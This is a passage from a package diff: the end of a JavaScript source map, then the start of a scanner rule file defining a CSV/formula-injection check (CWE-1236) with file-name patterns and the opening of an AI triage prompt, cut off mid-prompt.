IAC9D,EAAE,EAAE,EAAE,uCAAuC,EAAE,IAAI,EAAE,WAAW,EAAE;IAClE,wBAAwB;IACxB,EAAE,EAAE,EAAE,oBAAoB,EAAE,IAAI,EAAE,SAAS,EAAE;IAE7C,kBAAkB;IAClB,EAAE,EAAE,EAAE,mBAAmB,EAAE,IAAI,EAAE,cAAc,EAAE;IACjD,EAAE,EAAE,EAAE,oBAAoB,EAAE,IAAI,EAAE,cAAc,EAAE;IAClD,EAAE,EAAE,EAAE,qBAAqB,EAAE,IAAI,EAAE,aAAa,EAAE;IAClD,EAAE,EAAE,EAAE,qBAAqB,EAAE,IAAI,EAAE,cAAc,EAAE;IACnD,iBAAiB;IACjB,EAAE,EAAE,EAAE,oBAAoB,EAAE,IAAI,EAAE,cAAc,EAAE;IAClD,EAAE,EAAE,EAAE,oBAAoB,EAAE,IAAI,EAAE,cAAc,EAAE;IAClD,EAAE,EAAE,EAAE,oBAAoB,EAAE,IAAI,EAAE,cAAc,EAAE;IAClD,eAAe;IACf,EAAE,EAAE,EAAE,kCAAkC,EAAE,IAAI,EAAE,cAAc,EAAE;IAChE,EAAE,EAAE,EAAE,0BAA0B,EAAE,IAAI,EAAE,cAAc,EAAE;IAExD,OAAO;IACP,EAAE,EAAE,EAAE,kBAAkB,EAAE,IAAI,EAAE,eAAe,EAAE;IACjD,EAAE,EAAE,EAAE,kBAAkB,EAAE,IAAI,EAAE,WAAW,EAAE;IAC7C,EAAE,EAAE,EAAE,iBAAiB,EAAE,IAAI,EAAE,cAAc,EAAE;IAC/C,EAAE,EAAE,EAAE,gCAAgC,EAAE,IAAI,EAAE,eAAe,EAAE;IAC/D,EAAE,EAAE,EAAE,6BAA6B,EAAE,IAAI,EAAE,eAAe,EAAE;CAC7D,CAAC;AAWF,MAAM,aAAa,GAAkB;IACnC,cAAc;IACd,EAAE,EAAE,EAAE,8EAA8E,EAAE,IAAI,EAAE,WAAW,EAAE;IACzG,EAAE,EAAE,EAAE,oEAAoE,EAAE,IAAI,EAAE,WAAW,EAAE;IAC/F,uBAAuB;IACvB,EAAE,EAAE,EAAE,4BAA4B,EAAE,IAAI,EAAE,cAAc,EAAE;IAC1D,EAAE,EAAE,EAAE,uCAAuC,EAAE,IAAI,EAAE,cAAc,EAAE;IACrE,mBAAmB;IACnB,EAAE,EAAE,EAAE,+FAA+F,EAAE,IAAI,EAAE,SAAS,EAAE;IACxH,mBAAmB;IACnB,EAAE,EAAE,EAAE,qCAAqC,EAAE,IAAI,EAAE,UAAU,EAAE;IAC/D,EAAE,EAAE,EAAE,wBAAwB,EAAE,IAAI,EAAE,UAAU,EAAE;IAClD,yBAAyB;IACzB,EAAE,EAAE,EAAE,oDAAoD,EAAE,IAAI,EAAE,gBAAgB,EAAE;IACpF,cAAc;IACd,EAAE,EAAE,EAAE,mBAAmB,EAAE,IAAI,EAAE,YAAY,EAAE;IAC/C,EAAE,EAAE,EAAE,+BAA+B,EAAE,IAAI,EAAE,YAAY,EAAE;IAC3D,eAAe;IACf,EAAE,EAAE,EAAE,eAAe,EAAE,IAAI,EAAE,MAAM,EAAE;IACrC,EAAE,EAAE,EAAE,yBAAyB,EAAE,IAAI,EAAE,MAAM,EAAE;IAE/C,eAAe;IACf,EAAE,EAAE,EAAE,yCAAyC,EAAE,IAAI,EAAE,WAAW,EAAE;IACpE,wBAAwB;IACxB,EAAE,EAAE,EAAE,qBAAqB,EAAE,IAAI,EAAE,cAAc,EAAE;IACnD,EAAE,EAAE,EAAE,sDAAsD,EAAE,IAAI,EAAE,cAAc,EAAE;IACpF,oBAAoB;IACpB,EAAE,EAAE,EAAE,gCAAgC,EAAE,IAAI,EAAE,SAAS,EAAE;IACzD,oBAAoB;IACpB,EAAE,EAAE,EAAE,mBAAmB,EAAE,IAAI,EAAE,UAAU,EAAE;IAC7C,EAAE,EAAE,EAAE,+BAA+B,EAAE,IAAI,EAAE,UAAU,EAAE;IACzD,2BAA2B;IAC3B,EAAE,EAAE,EAAE,oBAAoB,EAAE,IAAI,EAAE,iBAAiB,EAAE;IACrD,EAAE,EAAE,EAAE,eAAe,EAAE,IAAI,EAAE,iBAAiB,EAAE;IAEhD,aAAa;IACb,EAAE,EAAE,EAAE,8CAA8C,EAAE,IAAI,EAAE,WAAW,EAAE;IACzE,sBAAsB;IACtB,EAAE,EAAE,EAAE,wCAAwC,EAAE,IAAI,EAAE,cAAc,EAAE;IACtE,kBAAkB;IAClB,EAAE,EAAE,EAAE,iCAAiC,EAAE,IAAI,EAAE,UAAU,EAAE;CAC5D,CAAC;AAEF,8EAA8E;AAC9E,wBAAwB;AACxB,8EAA8E;AAE9E;;;GAGG;AACH,MAAM,UAAU,gBAAgB,CAAC,KAAuB;IACtD,iDAAiD;IACjD,MAAM,SAAS,GAAG,IAAI,GAAG,EAA0B,CAAC;IACpD,KAAK,MAAM,CAAC,IAAI,KAAK,EAAE,CAAC;QACtB,SAAS,CAAC,GAAG,CAAC,CAAC,CAAC,YAAY,EAAE,CAAC,CAAC,CAAC;QACjC,8CAA8C;QAC9C,MAAM,KAAK,GAAG,cAAc,CAAC,CAAC,CAAC,YAAY,CAAC,CAAC;QAC7C,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,KAAK,CAAC,EAAE,CAAC;YAC1B,SAAS,CAAC,GAAG,CAAC,KAAK,EAAE,CAAC,CAAC,CAAC;QAC1B,CAAC;IACH,CAAC;IAED,MAAM,KAAK,GAAiB,EAAE,CAAC;IAE/B,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE,CAAC;QACzB,KAAK,MAAM,GAAG,IAAI,IAAI,CAAC,OAAO,EAAE,CAAC;YAC/B,MAAM,QAAQ,GAAG,aAAa,CAAC,IAAI,CAAC,YAAY,EAAE,GAAG,EAAE,SAAS,CAAC,CAAC;YAClE,IAAI,QAAQ,EAAE,CAAC;gBACb,MAAM,OAAO,GAAG,sBAAsB,CAAC,IAAI,CAAC,OAAO,EAAE,GAAG,CAAC,CAAC;gBAC1D,KAAK,CAAC,IAAI,CAAC;oBACT,IAAI,EAAE,IAAI,CAAC,YAAY;oBACvB,EAAE,EAAE,QAAQ,CAAC,YAAY;oBACzB,OAAO;iBACR,CAAC,CAAC;YACL,CAAC;QACH,CAAC;IACH,CAAC;IAED,OAAO,KAAK,CAAC;AACf,CAAC;AAED,SAAS,cAAc,CAAC,CAAS;IAC/B,OAAO,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;AACjC,CAAC;AAED;;;;GAIG;AACH,SAAS,aAAa,CACpB,eAAuB,EACvB,UAAkB,EAClB,OAAoC;IAEpC,gCAAgC;IAChC,IAAI,CAAC,UAAU,CAAC,UAAU,CAAC,GAAG,CAAC,EAAE,CAAC;QAChC,gDAAgD;QAChD,MAAM,QAAQ,GAAG,UAAU,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,GAAG,EAAE,IAAI,UAAU,CAAC;QAC3D,KAAK,MAAM,CAAC,OAAO,EAAE,CAAC,CAAC,IAAI,OAAO,EAAE,CAAC;YACnC,MAAM,QAAQ,GAAG,QAAQ,CAAC,OAAO,CAAC,CAAC,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;YACzD,IAAI,QAAQ,KAAK,QAAQ,IAAI,OAAO,KAAK,CAAC,CAAC,YAAY,EAAE,CAAC;gBACxD,OAAO,CAAC,CAAC;YACX,CAAC;QACH,CAAC;QACD,OAAO,SAAS,CAAC;IACnB,CAAC;IAED,MAAM,WAAW,GAAG,OAAO,CAAC,eAAe,CAAC,CAAC;IAC7C,MAAM,QAAQ,GAAG,gBAAgB,CAAC,OAAO,CAAC,GAAG,EAAE,WAAW,EAAE,UAAU,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,mBAAmB;IAEtG,wBAAwB;IACxB,IAAI,OAAO,CAAC,GAAG,CAAC,QAAQ,CAAC,IAAI,UAAU,CAAC,QAAQ,EAAE,OAAO,CAAC;QAAE,OAAO,OAAO,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;IAEzF,wBAAwB;IACxB,MAAM,UAAU,GAAG,CAAC,KAAK,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,KAAK,EAAE,OAAO,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,MAAM,CAAC,CAAC;IAC/F,KAAK,MAAM,GAAG,IAAI,UAAU,EAAE,CAAC;QAC7B,MAAM,OAAO,GAAG,QAAQ,GAAG,GAAG,CAAC;QAC/B,IAAI,OAAO,CAAC,GAAG,CAAC,OAAO,CAAC,IAAI,UAAU,CAAC,OAAO,EAAE,OAAO,CAAC;YAAE,OAAO,OAAO,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC;IACxF,CAAC;IAED,sBAAsB;IACtB,KAAK,MAAM,GAAG,IAAI,UAAU,EAAE,CAAC;QAC7B,MAAM,SAAS,GAAG,QAAQ,GAAG,QAAQ,GAAG,GAAG,CAAC;QAC5C,IAAI,OAAO,CAAC,GAAG,CAAC,SAAS,CAAC,IAAI,UAAU,CAAC,SAAS,EAAE,OAAO,CAAC;YAAE,OAAO,OAAO,CAAC,GAAG,CAAC,SAAS,CAAC,CAAC;IAC9F,CAAC;IAED,uEAAuE;IACvE,MAAM,IAAI,GAAG,QAAQ,CAAC,OAAO,CAAC,OAAO,EAAE,EAAE,CAAC,CAAC;IAC3C,IAAI,IAAI,KAAK,QAAQ,EAAE,CAAC;QACtB,IAAI,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,IAAI,UAAU,CAAC,IAAI,EAAE,OAAO,CAAC;YAAE,OAAO,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;QAC7E,KAAK,MAAM,GAAG,IAAI,UAAU,EAAE,CAAC;YAC7B,MAAM,SAAS,GAAG,IAAI,GAAG,GAAG,CAAC;YAC7B,IAAI,OAAO,CAAC,GAAG,CAAC,SAAS,CAAC,IAAI,UAAU,CAAC,SAAS,EAAE,OAAO,CAAC;gBAAE,OAAO,OAAO,CAAC,GAAG,CAAC,SAAS,CAAC,CAAC;QAC9F,CAAC;IACH,CAAC;IAED,OAAO,SAAS,CAAC;AACnB,CAAC;AAED,8GAA8G;AAC9G,SAAS,UAAU,CAAC,GAAW,EAAE,OAAoC;IACnE,MAAM,CAAC,GAAG,OAAO,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC;IAC3B,OAAO,CAAC,KAAK,SAAS,IAAI,CAAC,CAAC,YAAY,KAAK,GAAG,CAAC;AACnD,CAAC;AAED,SAAS,gBAAgB,CAAC,CAAS;IACjC,OAAO,CAAC,CAAC,OAAO,CAAC,KAAK,EAAE,GAAG,CAAC,CAAC;AAC/B,CAAC;AAED;;;;GAIG;AACH,SAAS,sBAAsB,CAAC,OAAe,EAAE,UAAkB;IACjE,MAAM,OAAO,GAAG,UAAU,CAAC,OAAO,CAAC,qBAAqB,EAAE,MAAM,CAAC,CAAC;IAClE,8FAA8F;IAC9F,MAAM,EAAE,GAAG,IAAI,MAAM,CACnB,yEAAyE,OAAO,MAAM,EACtF,GAAG,CACJ,CAAC;IACF,MAAM,OAAO,GAAa,EAAE,CAAC;IAC7B,IAAI,KAAK,CAAC;IACV,OAAO,CAAC,KAAK,GAAG,EAAE,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,KAAK,IAAI,EAAE,CAAC;QAC3C,IAAI,KAAK,CAAC,CAAC,CAAC,EAAE,CAAC;YACb,+BAA+B;YAC/B,KAAK,MAAM,IAAI,IAAI,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,GAAG,CAAC,EAAE,CAAC;gBACvC,MAAM,OAAO,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC;gBAC5B,IAAI,CAAC,OAAO;oBAAE,SAAS;gBACvB,wCAAwC;gBACxC,MAAM,OAAO,GAAG,OAAO,CAAC,KAAK,CAAC,oBAAoB,CAAC,CAAC;gBACpD,OAAO,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC;YAC/C,CAAC;QACH,CAAC;aAAM,IAAI,KAAK,CAAC,CAAC,CAAC,EAAE,CAAC;YACpB,2BAA2B;YAC3B,OAAO,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC;QACzB,CAAC;aAAM,IAAI,KAAK,CAAC,CAAC,CAAC,EAAE,CAAC;YACpB,iBAAiB;YACjB,OAAO,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC;QACzB,CAAC;IACH,CAAC;IAED,8BAA8B;IAC9B,MAAM,KAAK,GAAG,IAAI,MAAM,CACtB,+EAA+E,OAAO,aAAa,EACnG,GAAG,CACJ,CAAC;IACF,OAAO,CAAC,KAAK,GAAG,KAAK,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,KAAK,IAAI,EAAE,CAAC;QAC9C,IAAI,KAAK,CAAC,CAAC,CAAC,EAAE,CAAC;YACb,KAAK,MAAM,IAAI,IAAI,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,GAAG,CAAC,EAAE,CAAC;gBACvC,MAAM,OAAO,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC;gBAC5B,IAAI,OAAO;oBAAE,OAAO,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;YACrC,CAAC;QACH,CAAC;aAAM,IAAI,KAAK,CAAC,CAAC,CAAC,EAAE,CAAC;YACpB,OAAO,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC;QACzB,CAAC;IACH,CAAC;IAED,OAAO,OAAO,CAAC;AACjB,CAAC;AAED,8EAA8E;AAC9E,0BAA0B;AAC1B,8EAA8E;AAE9E,MAAM,UAAU,WAAW,CAAC,KAAuB;IACjD,MAAM,OAAO,GAAkB,EAAE,CAAC;IAElC,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE,CAAC;QACzB,MAAM,KAAK,GAAG,IAAI,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;QACvC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;YACtC,MAAM,IAAI,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC;YACtB,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;gBACtC,OAAO,CAAC,EAAE,CAAC,SAAS,GAAG,CAAC,CAAC;gBACzB,IAAI,CAAC,CAAC;gBACN,OAAO,CAAC,CAAC,GAAG,OAAO,CAAC,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,KAAK,IAAI,EAAE,CAAC;oBAC5C,OAAO,CAAC,IAAI,CAAC;wBACX,IAAI,EAAE,IAAI,CAAC,YAAY;wBACvB,IAAI,EAAE,CAAC,GAAG,CAAC;wBACX,IAAI,EAAE,OAAO,CAAC,IAAI;wBAClB,UAAU,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,EAAE;qBACxB,CAAC,CAAC;gBACL,CAAC;YACH,CAAC;QACH,CAAC;IACH,CAAC;IAED,OAAO,OAAO,CAAC;AACjB,CAAC;AAED,MAAM,UAAU,SAAS,CAAC,KAAuB;IAC/C,MAAM,KAAK,GAAgB,EAAE,CAAC;IAE9B,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE,CAAC;QACzB,MAAM,KAAK,GAAG,IAAI,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;QACvC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;YACtC,MAAM,IAAI,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC;YACtB,KAAK,MAAM,OAAO,IAAI,aAAa,EAAE,CAAC;gBACpC,OAAO,CAAC,EAAE,CAAC,SAAS,GAAG,CAAC,CAAC;gBACzB,IAAI,CAAC,CAAC;gBACN,OAAO,CAAC,CAAC,GAAG,OAAO,CAAC,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,KAAK,IAAI,EAAE,CAAC;oBAC5C,KAAK,CAAC,IAAI,CAAC;wBACT,IAAI,EAAE,IAAI,CAAC,YAAY;wBACvB,IAAI,EAAE,CAAC,GAAG,CAAC;wBACX,IAAI,EAAE,OAAO,CAAC,IAAI;wBAClB,UAAU,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,EAAE;qBACxB,CAAC,CAAC;gBACL,CAAC;YACH,CAAC;QACH,CAAC;IACH,CAAC;IAED,OAAO,KAAK,CAAC;AACf,CAAC;AAED,8EAA8E;AAC9E,yBAAyB;AACzB,8EAA8E;AAE9E;;;;;GAKG;AACH,MAAM,UAAU,iBAAiB,CAC/B,UAA0B,EAC1B,QAA0B,EAC1B,WAAyB,EACzB,OAAsB,EACtB,KAAkB;IAElB,MAAM,QAAQ,GAAG,UAAU,CAAC,YAAY,CAAC;IAEzC,uCAAuC;IACvC,MAAM,YAAY,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,QAAQ,CAAC,CAAC;IAC9D,MAAM,UAAU,GAAG,KAAK,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,QAAQ,CAAC,CAAC;IAE1D,4CAA4C;IAC5C,MAAM,UAAU,GAAG,WAAW,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,QAAQ,CAAC,CAAC;IAC9D,+CAA+C;IAC/C,MAAM,WAAW,GAAG,WAAW,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,QAAQ,CAAC,CAAC;IAEjE,2EAA2E;IAC3E,MAAM,YAAY,GAAiC,EAAE,CAAC;IACtD,MAAM,aAAa,GAAa,EAAE,CAAC;IAEnC,IAAI,UAAU,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QAC1B,sEAAsE;QACtE,gDAAgD;QAChD,MAAM,aAAa,GAAG,IAAI,GAAG,EAAU,CAAC;QAExC,kFAAkF;QAClF,KAAK,MAAM,IAAI,IAAI,WAAW,EAAE,CAAC;YAC/B,aAAa,CAAC,GAAG,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;QAC7B,CAAC;QAED,kEAAkE;QAClE,KAAK,MAAM,IAAI,IAAI,UAAU,EAAE,CAAC;YAC9B,aAAa,CAAC,GAAG,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC/B,CAAC;QAED,wEAAwE;QACxE,KAAK,MAAM,IAAI,IAAI,UAAU,EAAE,CAAC;YAC9B,MAAM,gBAAgB,GAAG,WAAW,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,IAAI,CAAC,IAAI,IAAI,CAAC,CAAC,IAAI,KAAK,QAAQ,CAAC,CAAC;YAC5F,KAAK,MAAM,EAAE,IAAI,gBAAgB,EAAE,CAAC;gBAClC,aAAa,CAAC,GAAG,CAAC,EAAE,CAAC,IAAI,CAAC,CAAC;YAC7B,CAAC;QACH,CAAC;QAED,kDAAkD;QAClD,KAAK,MAAM,MAAM,IAAI,aAAa,EAAE,CAAC;YACnC,MAAM,SAAS,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,MAAM,CAAC,CAAC;YACzD,IAAI,SAAS,CAAC,MAAM,KAAK,CAAC;gBAAE,SAAS;YAErC,MAAM,MAAM,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,YAAY,KAAK,MAAM,CAAC,CAAC;YAC7D,IAAI,CAAC,MAAM;gBAAE,SAAS;YAEtB,8BAA8B;YAC9B,MAAM,UAAU,GAAG,WAAW,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,EAAE,KAAK,MAAM,CAAC,CAAC;YAC1D,MAAM,WAAW,GAAG,UAAU,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,MAAM,CAAC,CAAC;YAE5D,MAAM,SAAS,GAAG,UAAU;gBAC1B,CAAC,CAAC,WAAW,UAAU,CAAC,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,QAAQ,iBAAiB;gBACvE,CAAC,CAAC,WAAW;oBACX,CAAC,CAAC,SAAS,WAAW,CAAC,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,SAAS,cAAc;oBACpE,CAAC,CAAC,qBAAqB,CAAC;YAE5B,2CAA2C;YAC3C,MAAM,aAAa,GAAG,SAAS;iBAC5B,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC;iBACX,GAAG,CAAC,CAAC,CAAC,EAAE;gBACP,MAAM,OAAO,GAAG,MAAM,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;gBACpE,OAAO,IAAI,CAAC,CAAC,IAAI,KAAK,OAAO,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC,UAAU,EAAE,CAAC;YAC1D,CAAC,CAAC;iBACD,IAAI,CAAC,IAAI,CAAC,CAAC;YAEd,YAAY,CAAC,IAAI,CAAC;gBAChB,IAAI,EAAE,MAAM;gBACZ,SAAS;gBACT,OAAO,EAAE,aAAa;aACvB,CAAC,CAAC;YAEH,oCAAoC;YACpC,KAAK,MAAM,GAAG,IAAI,SAAS,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,EAAE,CAAC;gBACxC,KAAK,MAAM,IAAI,IAAI,UAAU,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,EAAE,CAAC;oBAC1C,MAAM,cAAc,GAAG,UAAU,EAAE,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,WAAW,EAAE,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,GAAG,CAAC;oBAChG,aAAa,CAAC,IAAI,CAChB,GAAG,GAAG,CAAC,IAAI,OAAO,MAAM,IAAI,GAAG,CAAC,IAAI,MAAM,cAAc,MAAM,IAAI,CAAC,IAAI,OAAO,QAAQ,IAAI,IAAI,CAAC,IAAI,EAAE,CACtG,CAAC;gBACJ,CAAC;YACH,CAAC;QACH,CAAC;IACH,CAAC;IAED,wFAAwF;IACxF,IAAI,YAAY,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QAC5B,KAAK,MAAM,IAAI,IAAI,UAAU,EAAE,CAAC;YAC9B,MAAM,SAAS,GAAG,KAAK,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,IAAI,CAAC,IAAI,CAAC,CAAC;YAC1D,IAAI,SAAS,CAAC,MAAM,KAAK,CAAC;gBAAE,SAAS;YAErC,MAAM,QAAQ,GAAG,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,YAAY,KAAK,IAAI,CAAC,IAAI,CAAC,CAAC;YAClE,IAAI,CAAC,QAAQ;gBAAE,SAAS;YAExB,MAAM,WAAW,GAAG,SAAS;iBAC1B,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC;iBACX,GAAG,CAAC,CAAC,CAAC,EAAE;gBACP,MAAM,QAAQ,GAAG,QAAQ,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;gBACvE,OAAO,IAAI,CAAC,CAAC,IAAI,KAAK,QAAQ,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC,UAAU,EAAE,CAAC;YAC3D,CAAC,CAAC;iBACD,IAAI,CAAC,IAAI,CAAC,CAAC;YAEd,0BAA0B;YAC1B,IAAI,CAAC,YAAY,CAAC,IAAI,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,IAAI,KAAK,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;gBACpD,YAAY,CAAC,IAAI,CAAC;oBAChB,IAAI,EAAE,IAAI,CAAC,IAAI;oBACf,SAAS,EAAE,WAAW,IAAI,CAAC,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,SAAS,gBAAgB;oBAC1E,OAAO,EAAE,WAAW;iBACrB,CAAC,CAAC;YACL,CAAC;YAED,KAAK,MAAM,GAAG,IAAI,YAAY,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,EAAE,CAAC;gBAC3C,KAAK,MAAM,IAAI,IAAI,SAAS,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,EAAE,CAAC;oBACzC,aAAa,CAAC,IAAI,CAChB,GAAG,GAAG,CAAC,IAAI,OAAO,QAAQ,IAAI,GAAG,CAAC,IAAI,MAAM,IAAI,CAAC,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,GAAG,MAAM,IAAI,CAAC,IAAI,OAAO,IAAI,CAAC,IAAI,IAAI,IAAI,CAAC,IAAI,EAAE,CACzH,CAAC;gBACJ,CAAC;YACH,CAAC;QACH,CAAC;IACH,CAAC;IAED,OAAO;QACL,IAAI,EAAE,QAAQ;QACd,OAAO,EAAE,YAAY;QACrB,KAAK,EAAE,UAAU;QACjB,aAAa;QACb,YAAY;KACb,CAAC;AACJ,CAAC;AAED,8EAA8E;AAC9E,sCAAsC;AACtC,8EAA8E;AAE9E;;;;GAIG;AACH,MAAM,UAAU,kBAAkB,CAAC,GAAiB;IAClD,yDAAyD;IACzD,IAAI,GAAG,CAAC,YAAY,CAAC,MAAM,KAAK,CAAC,IAAI,GAAG,CAAC,aAAa,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACpE,OAAO,EAAE,CAAC;IACZ,CAAC;IAED,MAAM,QAAQ,GAAa,EAAE,CAAC;IAE9B,IAAI,GAAG,CAAC,OAAO,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QAC3B,MAAM,WAAW,GAAG,GAAG,CAAC,OAAO,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,GAAG,CAC9C,CAAC,CAAC,EAAE,CAAC,OAAO,CAAC,CAAC,IAAI,QAAQ,CAAC,CAAC,IAAI,KAAK,CAAC,CAAC,UAAU,EAAE,CACpD,CAAC;QACF,QAAQ,CAAC,IAAI,CAAC,8DAA8D,WAAW,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IACxG,CAAC;IAED,IAAI,GAAG,CAAC,KAAK,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACzB,MAAM,SAAS,GAAG,GAAG,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,GAAG,CAC1C,CAAC,CAAC,EAAE,CAAC,OAAO,CAAC,CAAC,IAAI,QAAQ,CAAC,CAAC,IAAI,KAAK,CAAC,CAAC,UAAU,EAAE,CACpD,CAAC;QACF,QAAQ,CAAC,IAAI,CAAC,+CAA+C,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IACvF,CAAC;IAED,IAAI,GAAG,CAAC,aAAa,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACjC,MAAM,SAAS,GAAG,GAAG,CAAC,aAAa,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,OAAO,CAAC,EAAE,CAAC,CAAC;QACtE,QAAQ,CAAC,IAAI,CAAC,qEAAqE,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IAC7G,CAAC;IAED,IAAI,GAAG,CAAC,YAAY,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QAChC,MAAM,eAAe,GAAG,GAAG,CAAC,YAAY,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,EAAE,CAAC,EAAE,CAC5D,WAAW,EAAE,CAAC,IAAI,kBAAkB,EAAE,CAAC,SAAS,cAAc,EAAE,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CACvH,CAAC;QACF,QAAQ,CAAC,IAAI,CAAC,kDAAkD,eAAe,CAAC,IAAI,CAAC,MAAM,CAAC,EAAE,CAAC,CAAC;IAClG,CAAC;IAED,OAAO,QAAQ,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;AAC/B,CAAC"}
|
|
@@ -0,0 +1,148 @@
|
|
|
1
|
+
export const csvInjection = {
|
|
2
|
+
id: 'csv-injection',
|
|
3
|
+
name: 'CSV / Formula Injection',
|
|
4
|
+
cwe: 'CWE-1236',
|
|
5
|
+
filePatterns: ['csv', 'export', 'download', 'spreadsheet', 'report', 'excel', 'generate', 'xlsx', 'xls'],
|
|
6
|
+
negativePatterns: [],
|
|
7
|
+
triagePrompt: `You are a security researcher hunting for CSV/formula injection vulnerabilities.
|
|
8
|
+
|
|
9
|
+
